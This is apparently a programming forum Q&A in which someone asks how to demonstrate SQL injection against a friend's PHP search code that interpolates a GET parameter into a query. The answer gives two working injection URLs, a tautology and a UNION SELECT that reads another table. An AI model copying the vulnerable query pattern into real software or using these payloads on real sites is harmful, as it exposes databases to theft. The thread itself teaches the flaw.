你能在这段代码上展示SQL注入的例子吗？

Question

My friend is new to PHP concepts(And so am I), and he developed the code below. I know it is vulnerable, and I told him I could do stuff on his database, like messing with other tables, Update other values etc.

The vulnerable part of the code is an INPUT, that he uses for a common search. This is not a login.

$email = filter_input(INPUT_GET, 'email');

if ($email != '') {  
   $stm = $db->query("SELECT * from clients WHERE email =  '$email'");
   $result = $stm->fetchAll();
}

The problem is I can't do it, because query() only allows one statement per query. Is there a way to mess with anything important on his database? (This is a challenge for me to prove IN PRACTICE his mistakes)

Answer 1

With your code it's very easy to modify conditions of an SQL query.

I can easily get ALL the clients, by making that condition is always true:

http://localhost/inject.php?email=Client 1' OR '1'='1

I can even read details from another table:

http://localhost/inject.php?email=Client 1' UNION SELECT * FROM articles WHERE '1' = '1

It all depends on what you do with results later, but as I shown on this two simple examples it's better to protect yourself.